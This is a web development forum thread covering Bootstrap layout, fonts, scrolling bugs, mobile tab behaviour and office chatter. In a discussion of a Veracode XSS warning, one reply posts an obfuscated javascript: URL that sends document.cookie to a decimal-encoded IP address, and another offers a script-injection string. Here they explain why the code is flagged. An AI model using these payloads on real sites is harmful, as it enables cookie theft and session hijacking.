Register a SA Forums Account here!
JOINING THE SA FORUMS WILL REMOVE THIS BIG AD, THE ANNOYING UNDERLINED ADS, AND STUPID INTERSTITIAL ADS!!!

You can: log in, read the tech support FAQ, or request your lost password. This dumb message (and those ads) will appear on every screen until you register! Get rid of this crap by registering your own SA Forums Account and joining roughly 150,000 Goons, for the one-time price of $9.95! We charge money because it costs us money per month for bills, and since we don't believe in showing ads to our users, we try to make the money back through forum registrations.
 
  • Post
  • Reply
The Dave
Sep 9, 2003

You're billing them for that call, right?

Adbot
ADBOT LOVES YOU

Null of Undefined
Aug 4, 2010

I have used 41 of 300 characters allowed.

The Dave posted:

You're billing them for that call, right?

I work for a consulting company so they get charged for any of my time they use at all, I get a salary. Sometimes I wish I was contracting directly so I could charge them extra for stuff like that, but it's worth it to know that I not only GET to stop after 8 hours each day, I HAVE to.

Ruggan
Feb 20, 2007
WHAT THAT SMELL LIKE?!


The Dave posted:

You're billing them for that call, right?

Null of Undefined posted:

I work for a consulting company so they get charged for any of my time they use at all, I get a salary. Sometimes I wish I was contracting directly so I could charge them extra for stuff like that, but it's worth it to know that I not only GET to stop after 8 hours each day, I HAVE to.

@TheDave, where can we send your invoice?

Vincent Valentine
Feb 28, 2006

Murdertime

Every time I put a lot of effort into a readme or even steps to replicate an error and those steps aren't followed I die a little inside.

It's pretty dead in there.

Munkeymon
Aug 14, 2003

Motherfucker's got an
armor-piercing crowbar! Rigoddamndicu𝜆ous.



Veracode is telling me that

JavaScript code:
$('#someElement').attr("href", dataFromXhr.url);
is an XSS vulnerability. Now I see how you could do CSRF by loving with href, but not XSS. Am I not thinking of something or is Veracode just flagging any and all use of unsanitized data from an XHR as potential XSS?

Lumpy
Apr 26, 2002

La! La! La! Laaaa!



College Slice

Munkeymon posted:

Veracode is telling me that

JavaScript code:
$('#someElement').attr("href", dataFromXhr.url);
is an XSS vulnerability. Now I see how you could do CSRF by loving with href, but not XSS. Am I not thinking of something or is Veracode just flagging any and all use of unsanitized data from an XHR as potential XSS?

What if your data returns ’”><script>...</script><a href=“#’ or something fun like that.

Munkeymon
Aug 14, 2003

Motherfucker's got an
armor-piercing crowbar! Rigoddamndicu𝜆ous.



Lumpy posted:

What if your data returns ’”><script>...</script><a href=“#’ or something fun like that.

jQuery dutifully shoves it into the attribute value via a DOM object. I've seen attribute values abused to store document fragments before and that worked on eg. IE 6, so I think I know that's safe, though I suppose I don't know about all browser quirk workarounds across all versions of jQuery.

LongSack
Jan 17, 2003

Is there a way to keep the text of a link from overflowing the "button" in Bootstrap 3? I have a nav-menu with categories, the links are styled as bootstrap buttons, but on small screens the button text can overflow the button. It works, but it looks like crap.

In the View I have:
code:
<div class="col-xs-4 col-lg-3">
    @await Component.InvokeAsync("NavMenu")
</div>
<div class="col-xs-8 col-lg-9">
	... Item List Goes Here ...
</div>
and the Component View:
code:
@model IEnumerable<Category>
<a class="btn btn-block btn-success" asp-action="Index" asp-controller="Home" asp-route-category="">Home</a>
@foreach (var cat in Model)
{
    @if (ViewBag.SelectedCategory == cat.Description)
    {
        <a class="btn btn-block btn-primary" asp-action="Index" asp-controller="Home"
           asp-route-category="@cat.Description" asp-route-page="1">@cat.Description</a>
    }
    else
    {
        <a class="btn btn-block btn-default" asp-action="Index" asp-controller="Home"
           asp-route-category="@cat.Description" asp-route-page="1">@cat.Description</a>
    }
}
i tried adding this class to the links, but it didn't work (probably because it's not really a button, so the text isn't contained inside the element):
CSS code:
.btn-truncate {
  overflow: hidden;
  white-space: nowrap;
  display: inline-block;
  text-overflow: ellipsis;
}
I've tried setting the nav to col-xs-5 but at that point, the item list is squeezed together and is ugly. Any ideas?

Chunjee
Oct 27, 2004

jfc I downloaded a Google font to use in photoshop and didn't install the 9 bold/italic variants. This somehow made chrome insane and made me think I had introduced an open <strong> somewhere because everything started appearing in bold. Took me 40 mins or so to connect the dots. wtf I guess it defaults to the font if you have it installed locally.

Cugel the Clever
Apr 5, 2009
I LOVE AMERICA AND CAPITALISM DESPITE BEING POOR AS FUCK. I WILL NEVER RETIRE BUT HERE'S ANOTHER 200$ FOR UKRAINE, SLAVA

Chunjee posted:

jfc I downloaded a Google font to use in photoshop and didn't install the 9 bold/italic variants. This somehow made chrome insane and made me think I had introduced an open <strong> somewhere because everything started appearing in bold. Took me 40 mins or so to connect the dots. wtf I guess it defaults to the font if you have it installed locally.
Any browser will default to locally available fonts, so if you literally just download the file and install that, the local copy will take precedence. Not sure why it would make things look bold for a missing subset, though.

Either way, the right way to get those fonts these days is with SkyFonts or whatever (as lovely a piece of software as it is). Otherwise you'll potentially end up with a five-year-old variant that looks subtly different. If that's fine with you, go right ahead. If you have clients or bosses who will jump on you for things not being pixel perfect to your Photoshop design, consider the auto-updating version.

LifeLynx
Feb 27, 2001

Dang so this is like looking over his shoulder in real-time
Grimey Drawer

Cugel the Clever posted:

If you have clients or bosses who will jump on you for things not being pixel perfect to your Photoshop design, consider the auto-updating version.

I'm so glad I got let go from the job where my boss insisted on me putting like margin-bottom: 1px on text in CSS files because the Photoshop document had something nudged up one pixel for whatever reason and It Was Approved. I was going crazy. It's the reason I mock things up in pure HTML these days. I should look at some of the sketch tools like Adobe XD, Figma, etc. again.

Impotence
Nov 8, 2010
Lipstick Apathy

Munkeymon posted:

Veracode is telling me that

JavaScript code:
$('#someElement').attr("href", dataFromXhr.url);
is an XSS vulnerability. Now I see how you could do CSRF by loving with href, but not XSS. Am I not thinking of something or is Veracode just flagging any and all use of unsanitized data from an XHR as potential XSS?

returned data:
code:
javascript:window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"].location=`//1572395042/?x=${document.cookie}`

Nolgthorn
Jan 30, 2001

The pendulum of the mind alternates between sense and nonsense

Vincent Valentine posted:

Every time I put a lot of effort into a readme or even steps to replicate an error and those steps aren't followed I die a little inside.

It's pretty dead in there.

I have made it somewhat of a personal policy that the more time it looks like somebody spent writing a readme, the less likely I am to read it.

Nolgthorn
Jan 30, 2001

The pendulum of the mind alternates between sense and nonsense
I assume a well documented library has been written very well, so easy to use and simple and flawless that they have finished polishing it to hell and back. Otherwise why are they spending time writing the readme. So I pop it in there and bob's your uncle. If it then doesn't work I will complain.

Data Graham
Dec 28, 2009

📈📊🍪😋



I suppose the next thing is RDD, Readme Driven Development

Write the readme first, push “initial commit” and publish

ModeSix
Mar 14, 2009

Data Graham posted:

I suppose the next thing is RDD, Readme Driven Development

Write the readme first, push “initial commit” and publish

I support this development methodology.

Doom Mathematic
Sep 2, 2008
Documentation-Driven Development is actually a thing, yes.

RobertKerans
Aug 25, 2006

There is a heppy lend
Fur, fur aw-a-a-ay.

Doom Mathematic posted:

Documentation-Driven Development is actually a thing, yes.

Followed the links in one of the comments and this is quite good http://www.waterfall2006.com/, particularly the register now link

Lord Of Texas
Dec 26, 2006

RobertKerans posted:

Followed the links in one of the comments and this is quite good http://www.waterfall2006.com/, particularly the register now link

quote:

The Joy of Silence: Cube Farm Designs That Cut Out Conversation by Alistair Cockburn

Actually would read this fake waterfall book.

RobertKerans
Aug 25, 2006

There is a heppy lend
Fur, fur aw-a-a-ay.

Lord Of Texas posted:

Actually would read this fake waterfall book.

quote:

Alistair Cockburn (pronounced "Jones") is the world's leading authority on "Silence Radiators." He is the inventor of the original Cone of Silence (see picture below), which allows two team members to converse while preventing their coworkers from hearing distracting conversations about important project details.

Munkeymon
Aug 14, 2003

Motherfucker's got an
armor-piercing crowbar! Rigoddamndicu𝜆ous.



Biowarfare posted:

returned data:
code:
javascript:window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"].location=`//1572395042/?x=${document.cookie}`

:allears: ah JavaScript URLs - haven't thought about those in years

Tei
Feb 19, 2011

Doom Mathematic posted:

Documentation-Driven Development is actually a thing, yes.

We all are slowly going mad.

....But this approach is even worse than some random agile methodology, because it means you have to sync two data, the code and the documentation. And theres a lot of it to sync.

The real problem of sofware (other than unplanned changes) is to transfer intend from the different parties to the relevant ones. Customer intend, architecture intend, algorithm intend, code intend. When intend is lost, people do a lot of disservice to the programs, and it all devolve into a silent civil war. Chaos. Dogs and cats living togueter. Mass hysteria.

Tei fucked around with this message at 16:55 on Jul 8, 2019

prom candy
Dec 16, 2005

Only I may dance

quote:

The Joy of Silence: Cube Farm Designs That Cut Out Conversation by Alistair Cockburn

I probably would have stayed at my last job a little longer if it wasn't for the noisy modern office.

Analytic Engine
May 18, 2009

not the analytical engine
This book is a great dive into the history of clerical work and how we got to (and gave up) cube farms. It really spoke to me as a subway-riding first-time Professional Computer Toucher

https://www.amazon.com/Cubed-History-Workplace-Nikil-Saval-ebook/dp/B00FUZQZE0

Vincent Valentine
Feb 28, 2006

Murdertime

prom candy posted:

I probably would have stayed at my last job a little longer if it wasn't for the noisy modern office.

There's a ping pong table five feet from my desk and I am absolutely loving livid about it. But it's culture building and engages employees to talk and maybe even collaborate.

Null of Undefined
Aug 4, 2010

I have used 41 of 300 characters allowed.

Vincent Valentine posted:

There's a ping pong table five feet from my desk and I am absolutely loving livid about it. But it's culture building and engages employees to talk and maybe even collaborate.

It's fine if a company wants to have something like that but it HAS to be in separate room, not the work area. I wouldn't last a minute.

CarForumPoster
Jun 26, 2013

⚡POWER⚡

RobertKerans posted:

Followed the links in one of the comments and this is quite good http://www.waterfall2006.com/, particularly the register now link

As someone who once held the title "Systems Engineer", this is a truly wonderful click, particularly the register now. God bless. Sent to all my former defense colleagues.

kedo
Nov 27, 2007

Null of Undefined posted:

It's fine if a company wants to have something like that but it HAS to be in separate room, not the work area. I wouldn't last a minute.

The last office I worked in had one in a common area in between offices. On one side was a room full of desks that had a door that could be closed, on the other side were a bunch of desks with a big double-wide doorway with no doors. Being assigned to one of those desks was akin to being assigned to a torture chamber. Thankfully my desk was behind the closed door.

jackpot
Aug 31, 2004

First cousin to the Black Rabbit himself. Such was Woundwort's monument...and perhaps it would not have displeased him.<
Is there a way to write a link - to be sent in a text message - that will open it in Safari even if the person has the app? I.e. how do I send someone to https://www.amazon.com in ios safari even if they have the amazon app installed?

jackpot fucked around with this message at 18:07 on Jul 10, 2019

Scaramouche
Mar 26, 2001

SPACE FACE! SPACE FACE!

jackpot posted:

Is there a way to write a link - to be sent in a text message - that will open it in Safari even if the person has the app? I.e. how do I send someone to https://www.amazon.com in ios safari even if they have the amazon app installed?

Link shortening service?

The Dave
Sep 9, 2003

I'm kind of curious on the use case. If the app can open it, why wouldn't the user want that? From their point of view, they can open it in a peak view and choose Open in Safari.

jackpot
Aug 31, 2004

First cousin to the Black Rabbit himself. Such was Woundwort's monument...and perhaps it would not have displeased him.<

The Dave posted:

I'm kind of curious on the use case. If the app can open it, why wouldn't the user want that? From their point of view, they can open it in a peak view and choose Open in Safari.
I'm just gonna say it, the context was me not understanding what the folks above me were looking for, and if I'd thought it through a little further yeah, it doesn't make sense that anyone would ever do that.

Sab669
Sep 24, 2009

having some weird issue where a specific page in my software is loading scrolled half way down the page.

There are a bunch of different divs all sandwhiched on top of each other (dashboard / record navigation, then the actual scrollable div)

cshtml file is like so:
HTML code:
<div id="dvIntFup>
  <div class="wrap-box">
    <div class="a bunch of classes">
      <table>
        i know i know it's 2019 why the gently caress are you using tables; i didn't design it and I don't have the resources to unfuck it
      </table>
      <div id="divPageScroll" class="scrollarea">
        <table>
          a bunch of more table bullshit
        </table>
      </div>
    </div>
  </div>
</div>
<div id="divPageScroll" class="scrollarea"> is the div with the scrollbar (desired), but for some reason it starts out half way down the page (undesired).

In the document.ready we call SetContainerDimensions('INTERIMFOLLOWUP', '', 'divPageScroll');

JavaScript code:
function SetContainerDimensions(fromWhere, grid, dvContainer, dvBottomContainer)
{
	var windowHeight = $(window).height() - 1;
	if (dvContainer != null && dvContainer != undefined)
	{
		if ($('.dashboard').length > 0)
		{
			var innerWindowHeight = windowHeight;
			innerWindowHeight = innerWindowHeight - 50; // Header height;
			var bodyHeight = innerWindowHeight - $('.dashboard').height();
			bodyHeight = bodyHeight - 30;

			// for interim followup screen there is a html content above to scroll area.
			// Reducing the height.
			if (fromWhere == 'INTERIMFOLLOWUP')
			{
				//Mantis #16217 change 
				bodyHeight = bodyHeight - 112;
				fromWhere = '';
			}

			$('.scrollarea').height(bodyHeight);
		}

		containerProperty = dvContainer
	}
}
CSS code:
.scrollarea {
    overflow-x: hidden;
    overflow-y: scroll;
    height: 300px;
}
I've tried window.scrollTo(0,0); and document.getElementById('divPageScroll').scrollTop = 0; but neither change the behavior at all? :shrug:

Cugel the Clever
Apr 5, 2009
I LOVE AMERICA AND CAPITALISM DESPITE BEING POOR AS FUCK. I WILL NEVER RETIRE BUT HERE'S ANOTHER 200$ FOR UKRAINE, SLAVA
There's some... peculiar things going on there. It looks like you're just trying to have this dashboard fit the height of the window? Unless you're supporting ancient browsers, you can just use CSS for that and ditch that JS entirely. Can't say that'll solve your issue, but it would at least eliminate a likely culprit.

Sab669
Sep 24, 2009

I think basically it's supposed to subtract the height of the dashboard from the actual window size, and then use that difference for the height of the "actual body". Unfortunately my company relies heavily on some Indian software firm to write a lot of our poo poo and this is probably something that was ported over from back when we were still IE-only (like our lovely table-based layouts :negative: )

Thermopyle
Jul 1, 2003

...the stupid are cocksure while the intelligent are full of doubt. —Bertrand Russell

Given a tab (let's call it Tab A) containing multiple different links with target="wtf"...

If the user clicks one of those links Chrome on Android switches to a new tab (let's call it Tab B) and loads the link.

Without closing Tab B, the user can switch back to Tab A, click another link, and Chrome automatically switches to Tab B and loads that link.

Mobile Safari does all of that except the "automatically switches to Tab B" part. This means the user has no idea the link opened in the other tab.

Any thoughts about solutions or a different way to go about this?

oot
Jun 28, 2019

What all do I need to know in order to make a web page with a background, a frame in the center with text you can scroll through, and auto-playing music that browsers won't block automatically?

The Fool
Oct 16, 2003


Thermopyle posted:

Given a tab (let's call it Tab A) containing multiple different links with target="wtf"...

If the user clicks one of those links Chrome on Android switches to a new tab (let's call it Tab B) and loads the link.

Without closing Tab B, the user can switch back to Tab A, click another link, and Chrome automatically switches to Tab B and loads that link.

Mobile Safari does all of that except the "automatically switches to Tab B" part. This means the user has no idea the link opened in the other tab.

Any thoughts about solutions or a different way to go about this?

Isn't this what target="_blank" is for?

I guess the side effect is that there will be a new tab every time.

Vincent Valentine
Feb 28, 2006

Murdertime

oot posted:

What all do I need to know in order to make a web page with a background, a frame in the center with text you can scroll through, and auto-playing music that browsers won't block automatically?

Well the first thing you're going to have to know is that everyone who visits that site hates it, and by extension you, for having autoplaying music.

But in reality not much. A couple of hours on pluralsight.com html5 courses should be enough for you to get by.

Adbot
ADBOT LOVES YOU

Thermopyle
Jul 1, 2003

...the stupid are cocksure while the intelligent are full of doubt. —Bertrand Russell

The Fool posted:

Isn't this what target="_blank" is for?

I guess the side effect is that there will be a new tab every time.

Yeah, the new tab every time is what I'd like to avoid.

  • 1
  • 2
  • 3
  • 4
  • 5
  • Post
  • Reply